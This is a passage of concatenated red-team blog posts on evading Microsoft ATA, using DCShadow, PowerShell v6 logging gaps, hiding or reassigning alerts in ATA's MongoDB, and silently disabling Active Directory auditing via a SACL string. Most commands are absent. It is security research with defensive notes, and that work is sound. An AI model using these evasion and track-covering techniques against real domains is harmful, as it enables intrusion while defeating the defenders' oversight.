Once we know a machine where token of a DA is available, we may like to have local admin access to it so as to possibly extract credentials (hashes, keys or passwords) for the DA and use that. There are so many ways to achieve it. Since we already have a list of users, let's try brute-force attack against all the users in the domain. This is how a detection looks like:

We will use only one password and therefore, a single attempt against all the users. This is a well known technique. We will use Invoke-BruteForce from Nishang for this:


And this doesn't get detected! I have another brute-force bypass under research and I will present that during my talk at BruCON.

Once we have local admin credentials (brute-force) or access (Find-LocalAdminAccess) to the box where DA tokens are available, we will pull the credentials for DA. That will be covered on Day 2 :)

Hope you enjoyed the post!

The slides of the BlackHat talk are below:
https://www.slideshare.net/nikhil_mittal/evading-microsoft-ata-for-active-directory-domination





Week of Evading Microsoft ATA - Day 2

$
0
0
Welcome to Day 2 of Week of Evading Microsoft ATA. The week has been split in the following days:
Day 1 - Introduction, detection and bypassing/avoiding Recon and Brute-force detection
Day 2 - Detection and bypass of overpass-the-hash and golden ticket
Day 3 - Bypasses/avoidance using more Kerberos attacks and attacks across trusts
Day 4 - Bypasses/avoidance by reducing conversation with the DC
Day 5 - Attacking ATA deployment, limitations of research and mitigation

We left Day 1 with admin access to the box where a domain admin (DA) token is available. The next step is to get access to the credentials of the DA. Here, credentials could be clear text password, NTLM hash, AES keys, user token etc. 

Overpass-the-hash
Let's pull hashes for the DA "tempDA" using Invoke-Mimikatz:
Once we have access to the NTLM hashes, we can use Overpass-the-hash attack to create a Kerberos ticket and access resources and services as tempDA. From an administrative shell:
We now have DA privileges! Nice, isn't it? Not really! ATA caught us:
What now? If we read the detection, it says "The encryption method of the Encrypted_Timestamp field of AS_REQ message from OPS-USER11 has been downgraded based on previously learned behavior." Ok. Let's investigate this!

Let's see how the Encrypted_TimeStamp (in the PreAuthentication Data) field of AS-REQ message looks like when normal authentication (cleartext password) is used:
Now, below is how the same filed looks like when we use NTLM hash for Overpass-the-hash:
So, the encryption type downgrade is quite evident from the screenshots above. How to avoid this downgrade? By using AES keys! Use below command to extract AES keys from a remote computer:
And then use the below command to use it for Overpass-the-hash (note that we can use whatever AES128 keys if they are not available). It is always advisable to use all the hashes:

Bingo! We have elevated our privileges to DA and this doesn't get detected by ATA!

Please note the following from Benjamin's post: "AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with KB2871997, in this case you can avoid NTLM hash."

Another detection of Overpass-the-hash, as seen in the screenshot above, is "Unusual protocol implementation". I _believe_ that this detection is because of another field (supported encryption) in the AS-REQ packets. Can't confirm this and will welcome more research and comments on this:
Another interesting thing to notice is, we can use Overpass-the-hash for generating false alerts on ATA! Failure events can be generated for any user, even a non-existing user, in the domain. Any made-up NTLM hash can be used for this.


Golden Ticket
Once, we have access to DA, let's establish persistence in the domain. We can create a Golden Ticket for that. Let's pull the RC4/NTLM hash of krbtgt account from the domain controller to create a golden ticket.
Let's create a golden ticket and inject it in memory. As soon as a resource in the domain is accessed, ATA will detect the golden ticket as:
Similar to Overpass-the-hash, ATA looks for encryption downgrade. Since golden ticket is a TGT, the focus is on TGS-REQ packet. Let's have a look at the encryption method of the TGT field of a TGS-REQ in case a user accesses a resource normally:
And this is how a golden ticket generated using NTLM hash of krbtgt looks like:
Clearly a downgrade. How to make a golden ticket appear normal? Right! AES keys once again!

Let's use "/inject" option of the lsadump::lsa module in mimikatz:
"/inject" provides additional credentials. How? Why? See this post.

Once we have the AES keys, a golden ticket can be generated and used without detection:

Another Golden Ticket Bypass
Previous one is not the only golden ticket bypass! When I found out the next one, I couldn't believe it!

We can actually avoid golden ticket detection while still using RC4/NTLM hash of the krbtgt account by using a non-existent username!
In ATA 1.8, ticket lifetime based detection was introduced. "If a Kerberos ticket is used for more than the allowed lifetime, ATA will detect it as a suspicious activity" - What's new in ATA version 1.8

Now, let's hold our horses and think. Why should we save a golden ticket to disk at all? It is the no-change of krbtgt hash which provides the persistence and NOT the golden ticket. We can always create a golden ticker whenever there is a need to access a resource, just keep the krbtgt hash handy!

Also, we can set lifetime of the ticket while creating a golden ticket. Enumerate the Kerberos policy using (Get-DomainPolicy)."Kerberos Policy" from PowerView. The default ticket lifetime is 10 hours. In the lab, it is setup as 1 hour. To avoid using a ticket beyond lifetime we can use the following options. The golden ticket create in the below command is valid for one hour after two hours from the time of creation and can be renewed during 7 days (10080 minutes):
Make sure that you purge the golden ticket from the target box otherwise ATA will detect it.

That is all for Day 2. Hope you liked it! :)




Week of Evading Microsoft ATA - Day 3 - Constrained Delegation, Attacks across trusts, DCSync and DNSAdmins

$
0
0
Welcome to Day 3 of Week of Evading Microsoft ATA. The week has been split in the following days:
Day 1 - Introduction, detection and bypassing/avoiding Recon and Brute-force detection
Day 2 - Detection and bypass of overpass-the-hash and golden ticket
Day 4 - Bypasses/avoidance by reducing conversation with the DC
Day 5 - Attacking ATA deployment, limitations of research and mitigation

On Day 3, Let's see some more Kerberos attacks which can be used to bypass ATA. Also, since we already escalated to DA on Day 2, we will also discuss attacks across domain trusts which are not detected by ATA.

Constrained Delegation
Constrained delegation allows access to a service by impersonating *any* user if the service account is configured so (msds-allowedtodelegateto). You can read more about this attack here, here and here. All of the three are fantastic posts, please go through them to understand the attack.

ATA doesn't detect this attack.Why? Read on.

If we abuse unconstrained delegation with the help of Kekeo:

Request a TGT:
Request a TGS as Administrator using the above TGT:
Encryption type 0x17 means RC4-HMAC. See this article.

Now, is 0x17 an anomaly? Not really, even though AES has been introduced since Server 2008, service accounts, inter-domain tickets and inter-forest tickets still use RC4 encryption. So there is no downgrade for ATA to detect, by default, as far as TGS_REQ is concerned.

Once we have the TGS, it can be used in the current session to access the service:

Even if we force enable AES on the service account ATA doesn't detect it as we need to move the entire domain (trusts, legacy machines etc. still use RC4) to AES before 0x17 can be considered anomaly.

I think there is one chance of detection, while requesting a TGT, there is an encryption downgrade for the AS-REQ packet (see the screenshot above). But it is up-to the ATA team to tune-it and make the detection reliable.

Also, there is no detection for alternate tickets. It is possible to access any service running with the same service account as the service for which constrained delegation is enabled. See the section, "Server SPN target name validation level" in this article. That means, if we have access to a service like time on the domain controller using constrained delgeation we can request a TGS for a service like HOST (Schedule tasks and many others), RPCSS (WMI), CIFS (File server) and take over the DC completely and ATA won't detect it.

But please keep in mind that if we access the LDAP service and try to run DCSync attack (replication), ATA will detect it. In fact, during my testing, I found out that DCSync is one of those attacks which ATA rarely misses.
Above is based on my understanding of constrained delegation and service accounts. Please correct me if I messed up something :)

The ATA team commented that they are "currently working on detecting abnormal delegation usage".

Attacks Across Trusts

Let's discuss couple of attacks across domain trusts. Many attacks across domain trusts are not detected. That inter-domain tickets use RC4 is one of the reasons for this. We will discuss only two of most interesting attacks, escalation from domain to forest root and DCSync (replication) without detection.

Escalation from domain DA to forest root enterprise admin

It is well known that if we have DA access to one of the domains of a forest, it is possible to escalate privileges to the enterprise admin of the forest root. Read Sean's blog post here to understand the attack.

To use this attack, we just need the krbtgt hash of the current domain and some other information (domain SID, parent domain SID etc.) which is available to any normal user in active directory. We forge an inter-domain TGT, sign and encrypt with the krbtgt hash of child for validation and append SID history. When the parent DC receives this TGT for accessing a service in the parent domain, it reads the SID history and if it is set to Enterprise Admins, we are granted that privilege.

Now, this is how the network capture looks like on the child DC when the above attack is executed:
Because domain trusts use RC4 encryption by default what we see above is NOT a downgrade. To make this an anomaly, it will be required to enable the support of AES in the Trust properties in the Active Directory Domains and Trusts:
ATA currently does not take into account if AES is enabled for a trust.

DCSync across trust

As I stated earlier, DCSync is rarely missed by ATA. But if it is done from a chilld domain controller, DCSync is not detected by ATA which makes sense as domain controllers replicate stuff all the time. Since we escalated to Enterprise Admin above, we have sufficient privileges to do so.

First, using a golden ticket or overpass-the-hash, escalate privileges to DA on a member machine of child domain. Then run the below command from the member machine:
ATA does not detect this! :)

This makes it much easier to laterally move in the parent domain as we can extract AES keys and avoid detection later.

Abusing the DNSAdmins group membership

Another attack which is not currently detected by ATA is the ability to run remote code as SYSTEM on a Windows DNS server (or DC - if it works as DNS server as well). Read this post and this one by me for more details. Also, DNSAdmins is not a protected group :)

That is all for Day 3!




Week of Evading Microsoft ATA - Day 4 - Silver ticket, Kerberoast and SQL Servers

$
0
0
This is Day 4 of Week of Evading Microsoft ATA. The week has been split in the following days:
Day 4 - Bypasses/avoidance by reducing conversation with the DC
Day 5 - Attacking ATA deployment, limitations of research and mitigation

Day 4 is dedicated to those attacks which need minimum and normal communication with the domain controller and thus ATA. That is, after bypassing ATA on first three days, today we will discuss how ATA can be avoided.

Silver Ticket

If get our hands on NTLM hash of a service account, it is possible to create a TGS (Ticket Granting Service) and present it to the service to get access. As we would be creating a TGS, there is no communication with DC. Read more about silver ticket attack in this post. Now, if we are not talking to the DC, ATA can't read the traffic and thus, there is no detection. As simple as that!



What intrigued me during testing was even if a silver ticket is used for a service running on the DC, ATA still won't detect it.  We can use the NTLM/RC4 hash of the DC's machine account for some very interesting services like CIFS, WMI, PowerShell Remoting. LDAP etc. Since we already have DA access on Day 2, the ability to create a silver ticket for the DC is a decent persistence mechanism.

Why a silver ticket is not detected even for the DC? I think ATA is currently interested only in authentication requests.

Kerberoast

Kerberoast attack involves requesting a TGS from the DC for a service, save the TGS (which is encrypted using the NTLM hash of the target service account) to a file and brute-force the NTLM hash. Read this and this article for more information.

The only communication with the DC is when the TGS is requested from the DC. The DC gets TGS requests all day and spotting an anomaly in such a regular request is, well, not easy.

Actually, there is a chance for detection based on anomaly. Remember the encryption type we discussed on Day 3? A TGS request with encryption type 0x17 (RC4) may be used as an indicator of a ticket request for Kerberoasting. How? Let's use the below code to request a TGS for a service:
This is how it looks like in logs:
But there are many legit uses (legacy applications, service accounts, trusts etc.) which still use RC4, we can only hope that ATA starts detecting TGS requests using RC4 as malicious in a future release for those environments where AES is prevalent.

Kerberoast Variants

There are two Kerberoast variants which are helpful in active directory dominance.

AS-REP
Request a TGT for an account with Kerberos Pre-Authentication disabled (or force disable if we have sufficient rights), DC replies with TGT (AS-REP) which has a piece of information (emcrypted part) encrypted with the account's NTLM hash, save it to the disk and brute force offline. Please read this and this post for a detailed explanation.

ATA doesn't detect this. Is there any anomaly which can be seen? Yes!

After enumerating users with Pre-Auth disabled, send AS-REQ and receive AS-REP with encrypted part:
And this is how it looks like in Wireshark:
And this is how it is logged:
Hello RC4 we met again :)

As Will explains in this post, cracking AS-REP encrypted part which uses RC4 is much easier then the AES one so chances of an attacker using AES are not common. An anomaly, if ATA would like to spot it :)

Force SPN
If we have enough privileges, it is possible to set a user's SPN to anything, request a TGS for that made up SPN and then, brute-force the ticket offline.

Like in other TGS related attacks, a simple anomaly in this case could be use of RC4:
ATA doesn't detect it. ATA team commented that abnormal behaviour detection will catch this and AS-REP method when the brute-forced passwords are used to access a resource.

SQL Server

Targeting SQL servers and staying within the database server makes sure that there is no communication with the DC and therefore, avoids ATA. I wrote a post couple of months back on lateral movement within the database layer.

That is all for Day 4. Hope you enjoyed it!




Week of Evading Microsoft ATA - Day 5 - Attacking ATA, Closing thoughts and Microsoft's response

$
0
0
This is Day 5 of Week of Evading Microsoft ATA. The week has been split in the following days:
Day 5 - Attacking ATA deployment, limitations of research and mitigation

Welcome to the last day of the Week of Evading ATA. We have seen how ATA can be bypassed and avoided during a security assessment. Today let's see how we can attack ATA deployment. We will also discuss limitations of the research against ATA, some closing thoughts and some general mitigation against AD attacks. 

Attacking ATA

Find ATA Installation
So how do we spot ATA? Before 1.8, it was possible to simply run banner grabbing against web services running on port 443 and look for "Microsoft Advanced Threat Analytics". An example PowerShell command for this:
But ATA 1.8 uses Single Sign-On and it is not possible to grab the banner without authenticatiob. But we are not out of options. We can simply look for certificate used by the ATA console. By default, ATA console uses a self-signed certificate issued to "ATACenter".
ATA uses local users and groups of the ATA Center, the ATA documentation suggests having three types of role groups ATA Administrators, ATA Users and ATA Viewers. If the target deployment uses the exact same group names as suggested, we should be able to enumerate ATA by enumerating local groups on machines in the domain using PowerView:
Also, I am quite sure that smart folks out there (like from nmap or metasploit) will soon include ATA in their service identification.

Admin Access
Once we know that there is an ATA deployment in a domain we may try attacking it. There are a number of interesting things which can be done with it. If the ATA Center is the part of the target domain and we have escalated privileges to domain admin or have got local admin access to the Center, we can have much fun. ATA subscribes to the concept of "if its admin its game over". By default, all the members of the local administrators group (local admins, domain admins) on the ATA Center have administrative access to the ATA console. We can resolve alerts, add exclusions, enumerate honey tokens etc. with that access.
While this is nothing ground shattering, since ATA specifically targets domain dominance and lateral movement, having the ability to add exceptions for our IP, users and attacks is very useful.

Backend MongoDB

ATA Center uses MongoDB to store entities, entity profiles, Kerberos requests, suspicious activities and more. It listens only on localhost but needs no authentication to connect to! This means if we have administrative access to the ATA Center we can do very interesting things. Let's see two of them:

Tampering with alerts
Let's say we want to tamper with suspicious activities from our foothold user, say, labuser. Let's first look for SourceAccountId from the UniqueEntity collection for labuser. I am using RoboMongo for accessing the mongodb:
Once we have the id of our account, let's have a look in the SuspiciousActivity collection for alerts for our user:
Let's have a look at the latest suspicious activity for labuser:
An unusual protocol alert, most probably an overpass-the-hash, going by the time stamp and other details, this is the alert in the ATA console:
Now, we can simply lookup for id of another user, say termadmin, and replace that by editing the SourceAccountId for that particular alert in the SuspiciousActivity collection. Let's do it not only for labuser but other two user's in the above alert as well for the sake of demonstration:
Sweet, isn't it :D

We can do the same for Computers as well to "frame" some other computer for attacks like Malicious replication of directory services and so on.

Hiding the alerts
Let's say we simply want to hide an alert. Entries in the SuspiciousActivity collection has a proeprty called "IsVisible". Set it to false and the alert vanishes from the console. Let's go after the latest DCSync alert:
Let's look for "TitleKey" : "DirectoryServicesReplicationSuspiciousActivityTitle" in the SuspiciousActivity collection and edit the latest one to change "IsVisible" : true to "IsVisible" : false:
And the result is:
Nice! This helps us in covering tracks in a post-DA lateral movement scenario.

Of course, no surprise, we modified the database and the console displays the modified values. But as these are security alerts, having access to just one box - ATA Center - drastically reduces the security posture of the entire organisation.

Limitations of the research
Copy paste from my BlackHat slides:
- Focus of all the bypasses is on Anomaly based detections.
- Many behavior based detections could not be replicated in the lab and are more powerful and useful in a real environment.
- Behavior based detection may detect lateral movement even if the anomaly based detection is bypassed – use the avoidance techniques (Day 4) in such cases.

Evading ATA forever
What happens when the bypasses we discussed are fixed? We modify our methods and techniques. I have seen fellow red teamers using Golden ticket or Skeleton key just to brag about it in their reports. No matter how frustrating they are, we as good attackers need to focus on the goals of the assessment. Not only it helps in meeting those deadlines, it also helps in avoiding pesky detection mechanisms ;) For example, there is no need to go for DA if the goal of the assessment can be completed without it, stay focused!

Defences
More from my BlackHat slides:
- ATA even if can’t detect anomalies, provides interesting insight in the traffic exchanged with the         Domain Controller. Use that to detect the attackers. 
- Limit your DAs to login only to Domain Controllers. Remember prevention is better than cure. 


Microsoft's Response
Microsoft's ATA team is awesome! They contacted me (and MSRC contacted me as well) when my talk was scheduled and we worked together to address and understand each other. I always found them very open to the idea that researches like this actually make a product better. It was actually fun exchanging ideas with them!

That is all for the week of Avading Microsoft ATA. Hope you enjoyed it as much as I enjoyed writing it :) Please leave questions, feedback and comemnts :)



A Critique of Logging Capabilities in PowerShell v6

$
0
0
PowerShell 6 was released couple of days back. PowerShell v6 is the core version, that is, it is open source, cross platform and it is NOT Windows PowerShell which continues to be the default one on Windows. As per this blog by PowerShell Team, going forward, PowerShell core is the future (Windows PowerShell will still get critical bug-fixes.)
PowerShell Team, over past 2-3 years, has constantly improved the security controls in PowerShell. The defining moment was, of course, PowerShell ♥ the BlueTeam where the PowerShell Team detailed many interesting features like System-wide Transcription, Deep Script Block Logging, AntiMalware Scan Interface, Protected Event Logging, Constrained Language Mode (with Applocker "Allow" mode) etc. Comparing PowerShell v2 - which comes installed by default in Windows 7 - with PowerShell 5.1 which is the default for Windows 10, the effort to restrict, track and log PowerShell usage on a box is clearly visible and effective.

Having used PowerShell for 7+ years for red team assessments and penetration tests, I look forward to every major release of PowerShell to change and upgrade my techniques and methodologies. With PowerShell 5.1, as an attacker, I am actually afraid that whatever I do on a foothold or launchpad box may be logged and (hopefully) monitored. During my Offensive PowerShell and Active Directory training, the attendees who are industry practitioners and researchers, always appreciate the logging capabilities of PowerShell and try to implement them in their organization's networks.

But with PowerShell v6, PowerShell logging features have been drastically reduced! This is almost certainly because v6 is based on .NET Core but there has been no authoritative word about it. This post is to compare the most interesting logging capabilities of PowerShell v6 with Windows PowerShell 5.1.

Deployment

All the enhanced logging capabilities PowerShell has, can be deployed using Group Policy. But this doesn't hold true for v6! To enable whatever logging for v6, a script RegisterManifest.ps1 (found in the $PSHOME directory) needs to be executed on each machine to register PowerShellCore event provider (PowerShell remoting can be used to run this script on scale). Thanks Satoshi for pointing this out.

The ability to configure logging from Group Policy is much easier to manage and harder to tamper with whereas the PowerShellCore event provider can be unregistered by using the "-UnRegister" parameter of the script.

System-wide Transcription

When System-wide transcription is enabled, all the activity for every PowerShell host (powershell.exe, powershell_ise.exe, System.Management.Automation.dll or other custom host) is logged to the specified directory or the user's "My Documents" directory if none is specified. With proper implementation, that is, forwarding logs to secure storage and correlation, system-wide transcription could be very effective in detecting PowerShell attacks. 

This is how system-wide transcription looks like for PowerShell 5.1 (The execution is using InstallUtil)
PowerShell v6 does not support system-wide transcription.

Script Block Logging

PowerShell v5.1 has two types of script block logging: Warning level auto logging and Verbose logging that can be configured. Warning level auto logging logs known bad/suspicious commands and script blocks and logs them in Microsoft-Windows-PowerShell/Operational log as Event ID 4104 Warning. When Verbose logging is turned on, which can be done using Group Policy, PowerShell commands are logged as Event ID 4104 Verbose.
Yes, there are public bypasses for script block logging as blogged by Ryan Cobb here and here, still, it increases attacker costs.

PowerShell v6 has no automatic script block logging. But when The PowerShellCore provider is created, the suspicious script blocks are logged with Event ID 4103 in the PowerShellCore logs.
 
Interestingly, while testing the warning level logs, I found out that v6 excels over v5.1 and logs less false positives. For example, one of suspicious strings (see code here) "GetMembers" is logged by 5.1 even if it is just executed senselessly.
But in case of v6, the above is not logged unless, there is a proper use of "GetMembers".
I find this very interesting and will have an in-depth look at it later on. May be, it could help in some interesting findings.

AntiMalware Scan Interface (AMSI)

AMSI provides the content of a script tor script block to the registered antivirus before execution takes place. This enables the antivirus to detect known bad scripts and script blocks regardless of input method (disk, memory, manual) and even encoded and obfuscated scripts. I spoke about AMSI at BlackHat USA 2016 and did a detailed blog post.

Fortunately, AMSI is enabled for PowerShell v6 as well. Although, Matt's bypass still works with just a minor modification.
But, once again, since it still increases cost to an attacker, its great to have AMSI in v6.

Constrained Language Mode

If "Allow mode" is enforced for Applocker or Device Guard, PowerShell is restricted automatically to the Constrained Language Mode which restricts Windows API, interaction with COM etc. See Language Modes

That is not the case with v6!

 

Introducing the PowerShell Upgrade Attack

PowerShell downgrade attack is popular with red teams. If you can run PowerShell v2, ALL security measures we have seen are bypassed as v2 simply doesn't support them. Lee provided an excellent guide on how to detect and prevent such attacks. If v2 is blocked or no required .NET version is installed, what to do? Simply run pwsh from your PowerShell session and you will drop in a new PowerShell session (v6 - if installed) which has minimal security features compared to v5/5.1. I am calling it the PowerShell Upgrade Attack:P. On a serious note, please keep in mind that Windows PowerShell - with enhanced logging - is the default one on Windows OS. Also, v6 is not an update, it needs to be installed separately. Windows PowerShell and PowerShell Core can be installed on a single machine and both will work independently.

So, what next?

I hold the PowerShell Team in high regard (for creating such a useful tool, being open to criticism and acting on the feedback) and quite confident (and hope) that they will address these shortcomings soon. Jeffery already tweeted that the Constrained Language Mode will be fixed in 6.1. But, if your production environment is working fine with Windows PowerShell v5/5.1, I would not advise to install v6 on any system (at least not the production ones).



DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more

$
0
0
DCShadow is an awesome persistence technique introduced by Vincent and Benjamin at BluteHat IL and it can be executed with the help of mimikatz. 

In very simplified terms, DCShadow alters active directory schema (Configuration partition and SPN of the attacker machine) to mimic a domain controller. This "new" domain controller can then be used to push attributes (like SID History, Password History, SPNs etc.) and other data on domain objects for users, computers etc. Please visit dcshadow.com and above linked preso for more details. There are couple more interesting posts at ALSID blog and NOPSEC blog which are very useful in understanding DCShadow.

In this blog post, I make notes of some of the use cases of DCShadow and couple of experiments I did while using it. Please keep in mind that I am still playing with this technique :)

Executing DCShadow

Grab the latest build of mimikatz from its GitHub repo or Invoke-Mimikatz from Nishang. The attack must be executed from a domain joined machine and needs SYSTEM privileges on the machine and by-default, domain administrator (DA) privileges on the domain.

Please keep in mind that the SYSTEM requirement is for process context and not thread. I learnt this the hard way but thankfully, a very patient Vincent and the source code helped me out :)

So, here is how to use it:
1. Start mimikatz and use !processtoken (and not token::elevate - as it elevates a thread) to escalate to SYSTEM. Make sure to use !processtoken before opening another instance of mimikatz, This is the mimikatz instance where we will specify the target object and attributes to be modified.
2. Start another mimikatz with DA privileges. This is the instance which registers a DC and is used to "push" the attributes. 
We are now ready to use dcshadow. For example, use the below command from mimikatz running as SYSTEM to change userAccountControl value of a computer object. Mimikatz makes checks for validity of object and attributes which is awesome!
To push the above attributes, run the below command from mimikatz running as DA.
On the other mimikatz session, we can see the values are updated and RPC server is stopped.
Let's check the userAccountControl attribute of the computer object we modified.
Works like a charm with Invoke-Mimikatz as well.
 
Please keep in mind that even on a local machine with interactive access, Invoke-Mimikatz does not show the message of "RPC server started" until the push command is executed, probably because of output redirection issues.

DCShadow for Red Teams


Minimal permissions
DCShadow provides amazing persistence opportunities. Many well known ones as well as some new stuff, can be executed with it without leaving logs on the DC. While learning about it, I started wondering if there is a way to use DCShadow without DA privileges? Like most domain persistence methods, we do not need DA privileges all the time for DCShadow but only for setting it up. For using it later on, only a subset of permissions are required.

After spending much time reading MS documentations on MS-DRSR and MS-RPCE to understand the errors shown by mimikatz when not using DA and experimenting with permissions, I was able to segregate the permissions required for running DCShadow without having DA privileges!

What does that mean? That means, you need DA privileges just once to set up the required minimal permissions for user of your choice. That user can successfully run DCShadow against a specific object later on. What are the rights required?

Following (extended rights) for the domain object:
- DS-Install-Replica (Add/Remove Replica in Domain)
- DS-Replication-Manage-Topology (Manage Replication Topology)
- DS-Replication-Synchronize (Replication Synchornization)
We also need WriteProperty right on the computer object of machine which is used for attack (gets registered as a DC) to modify SPNs and the target object to modify attributes.
Lastly, CreateChild and DeleteChild permissions are required on the Sites object (and child objects) in the Configuration container to register and un-register a DC.
To automate modification of the objects, I give you Set-DCShadowPermissions.ps1 in Nishang, a PowerShell script which sets minimal permissions for executing DCShadow attack! Use the below command with DA privileges to set permissions for user "labuser" to modify permissions on computer object ops-user19 from the computer ops-user12. 
 
Now, the mimikatz command can be executed without DA privileges. Please note that the command output is same as when using DA (see the screenshots in the beginning of the post).
Neat isn't it! Append the -Remove parameter at the end of the above command for cleanup.

Note that logs (4662 for changes made to ACL of the domain object, 4742 for changes made to ACL of attacker's computer object and 4738 if the target is a user object)  are generated when you modify ACLs using Set-DCShadowPermissions but so is true for other methods required to persist with high privileges.

Once we have the permissions (or DA), we can use DCShadow for tons of interesting things. Let's have a look at some of them. Please note that I am going to use all of them without DA by modifying permissions using Set-DCShadowPermissions:

SIDHistory
Very useful, also mentioned in the DCShadow presentation. Set the SIDHistory of an account to a high privilege one like DA or EA group and we are all set for highest privileges without having to modify any Group Membership or ACL.
 
PrimaryGroupID
This too is from the preso. Change the primaryGroupID of an object to a high privileged one for higher privileges.
There is a catch though, if this is used to change primaryGroupID of a user to a privileged group, that user may show up in listing of that group which is not really stealthy. Note that this listing in the group depends on the tool used for enumeration. For example, in the below screenshot, the user "helpdeskuser" shows up as a member of "Enterprise Admins" group when using net.exe (or Get-ADGroupMember from the activedirectory module) but not when using PowerView ;)
AdminSDHolder
Like the simpler attributes we modified above, it is possible to modify ACLs on objects using DCShadow by modifying the ntSecurityDescriptor attribute. This ability allows even more interesting stuff. For example, modifying AdminSDHolder ACL for persistence.

To use this, we need to read the existing SDDL on the AdminSDHolder container and add permissions for our user's SID. Quite similar to what I used in Set-RemoteWMI
To add Full Control permission we can use permissions of the BA, DA or EA (highlighted in the above screenshot) and append our user's SID. The resulting below string needs to be added to the SDDL of AdminSDHolder.
Use the below mimkatz command for DCShadow. Make sure you use the colon ":" for specifying values to parameters:

DCShadow using DCShadow - Shadowception

Similar to above, we can also push DCShadow permissions using DCShadow.I call it Shadowception Why? Because it is fun :P We just need to push permissions listed above while introducing Set-DCShadowPermissions. The permissions required are:
Use the below mimikatz commands to set DCShadow permissions which can be used only from a particular computer as a specific user against a specific object - all of them specified in the commands. Please do not get intimidated with long commands, I have used exactly the same method as for AdminSDHolder - Copy the existing SDDL and append your own.
This is sweet! Now, if we maintain access to the computer and the user specified above, it is possible to modify the attributes of the specified object without leaving logs.

Setting SPNs on Admin Accounts for Kerberoasting
As explained by Sean here, in this technique we force set SPNs for admin accounts for later Kerberoasting. Kerberoasting, those of you who are unaware, is an attack technique where TGS (Ticket Granting Service) is requested for a SPN, saved to the disk and then brute-forced offline for password of the target SPNs service account. Thus if we can set SPN for a privileged account, it is possible to brute-force its password in clear-text using kerberoasting. To set SPNs for privileged account, we need high privileges, hence this is a persistence technique. Below command can be used to set SPN of a DA account using DCShadow:
In addition to the above discussed, you can find your own attack. For example, I have not discussed setting TrustedForDelegation and TrustedToAuthForDelegation :) Go through the list of All AD attributes and find more interesting ones - https://msdn.microsoft.com/en-us/library/ms675090(v=vs.85).aspx

Defense
For defense, see dcshadow.com and UnCoverDCShadow. And limit the number of DAs and usage of DA credentials across your enterprise ;) A very good reference is Securing Privileged Access Reference Material.

 

DCShadow for Blue Team Deception

For past couple of months, I have been working a lot on using Deception for defense. I am liking Active Directory Deception because of its efficacy in providing alerts and increasing (at least) time costs to an adversary. While I will leave the details for another post and/or talk, one thing difficult for me when forging objects which are interesting for an attacker is editing some of the attributes of an object. For example, it is not easy to forge a computer object to make it look like a DC object. Multiple attributes and services must be set before a computer object "appears" to be a DC. There are some workarounds but that calls for another post or as I said a talk. So, DCShadow helps with forging a domain controller which looks more real. Of course, there is a lot of scope for improvement but I really like how it open up opportunities for blue teams.

A quick example is this. Suppose we want to make a member computer object "ops-user12" a DC. We can use the following (make sure you either have DA privs or set permission using Set-DCShadow permissions):
Push the above
Push the above
Use the above from mimikatz instance running as DA or modified permissions. Now, if an adversary enumerates your domain, this is what it looks like:
And this holds true for most of the red team tools (like PowerView which uses the .NET class in above screenshot) and even most of the WMI classes for domain enumeration like Win32_NTDomain and ds_computer of the directory\ldap namespace.
 
But this is still very experimental. We can easily note missing attributes from the fake DC, although that can be set. The thing which concerns me right now is if this breaks any authentication requests or other legit functioality. Because when using the "push" option of DCShadow, the registration and unregistration takes place quickly but when we are doing it manually what if some legit authentication requests are directed to the fake DC? I am hoping to find an answer of that soon.

I wish this use of DCShadow for deception triggers a community effort on using AD objects for deception :)

Problems
Some of the problems you may face while using DCShadow:

Insufficient Privileges
ERROR kuhl_m_lsadump_dcshadow_force_sync_partition ; IDL_DRSReplicaAdd
DC=whatever,DC=com 0x80090322 (2148074274)

If you get an error like above, make sure that mimkatz is running as SYSTEM (use !processtoken). Please refer to Executing DCShadow section above. 

Permission Errors
If you see an error during registration like  "Unable to add object via ldap". Then make sure that  you are "pushing" with DA privileges from mimikatz or you have set proper permissions. 

In some cases, when unregistration fails (see the video!), you may have to cleanup the object created in the CN=Servers in the Configuration Container and/or SPNs of the computer object which is registered as Fake DC. To clear SPNs I am using this simple command from the activedirectorymodule.
Here is a video showing the above attacks and deception.


Hope you enjoyed the post!


Silently turn off Active Directory Auditing using DCShadow

$
0
0
My fascination with DCShadow continues, thanks to Vincent and Benjamin. I blogged about it previously as well.

One very interesting thing which I recently discovered is the ability to DCShadow to modify System Access Control List or SACL. When we enable auditing on success or failure on an AD object, an entry (called ACE - Access Control Entry) is added to the SACL of that object. The permissions to an object are controlled by a DACL. For example, we modified DACL of AdminSDHolder in the previous post for persistence.

The Problem

So, SACL controls auditing (logging) for an AD object. This means if we would like to avoid logs for our activities during an assessment , we should turn it off at the very first chance. Right? But is it that easy?

Let's assume that full auditing is turned on the AdminSDHolder container and even a read operation is logged. This is what the SACL looks like:
The SACL governs logging of stuff. For example, with the above auditing settings, if we add Full Control rights for a user to the AdminSDHolder for persistence, an Event ID 4662 is logged:
Now, we would like to turn auditing off for the AdminSDHolder object so that the above logs are avoided. Right? Right? ;)

This can be done by removing the ACEs. But it is not as silent as we would like it to be. Removing ACEs results in more 4662s:
In case we were targeting a user object and remove auditing for it, a 4738 (User Account Management) in addition to multiple 4662s is logged.

The Solution

Now, how does DCShadow help? Try the below commands to set ACL of the AdminSDHolder to turn off the enhanced auditing:
Bingo! No logs for turning off logging. Of course, I cannot show you no logs :P But we can see the new SACL:
Please note that we will still have logs related to DCShadow (4742 for the Computer registered as DC and 4662 for the domain object) but nothing else.

Note that the auditing entry in the above is S:PAI(AU;CIFA;DT;;;WD)

What does that mean?
S: - SACL
PAI -  Inheritance from higher up objects is blocked
AU - System Audit
CI - Container Inherit - The child objects inherit this.
FA - Audit Failure
DT - Delete Tree - No specific reason for using this other than chances of this being logged are low.
WD - Everyone
If you are not familiar with SDDL, go through these Technet posts to begin: The Security Descriptor Definition Language of Love (Part 1) and Part 2.

So why the above entry? No special reason. I thought, it would be better to leave an entry than removing all of it. If you want an ineffective SACL use just S:PAI. This is how it looks in the GUI:
You can use the below code for reading existing ACLs for an object. To easily get the desired ACE, set it up using GUI and then read the entries using the below code:

Further Research

This is sweet but there are so many chances of further research on this. Like, there is still a single 4662 logged when mimkatz does "Attributes Checking" before we push the attributes. I read the source code of mimikatz and tried to avoid that read, but no success.

Also, I cannot find a way to turn off default SACL for the domain object. In theory, this should be easily doable with similar commands we used above!

Also, there are detections based on absence of logs as well. Unless we go for minimal modification to auditing we will still be detected.

Hope you liked the post :)


Forging Trusts for Deception in Active Directory

$
0
0
